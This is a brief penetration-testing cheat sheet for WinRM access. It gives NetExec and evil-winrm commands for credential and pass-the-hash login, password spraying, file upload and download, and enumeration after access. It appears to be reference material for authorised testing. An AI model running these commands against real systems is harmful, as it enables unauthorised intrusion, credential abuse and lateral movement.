WinRM Enumeration (5985, 5986)

#

Test WinRM with NetExec

#

netexec winrm $IP -u "$USER" -p "$PASS"

Test WinRM with a hash

#

netexec winrm $IP -u administrator -H <ntlm_hash>

Connect with evil-winrm

#

evil-winrm -i $IP -u "$USER" -p "$PASS"

Connect with evil-winrm over SSL

#

evil-winrm -i $IP -u "$USER" -p "$PASS" -S

Password spray only after lockout and replay checks

#

netexec winrm $IP -u users.txt -p 'Password123!' --continue-on-success

Upload file with evil-winrm

#

• evil-winrm> upload /local/path/file.exe C:\Windows\Temp\working\file.exe

Download file with evil-winrm

#

• evil-winrm> download C:\Windows\Temp\working\file.txt /local/path/file.txt

Initial commands after access

#

whoami /all
hostname
ipconfig /all
net user
net localgroup administrators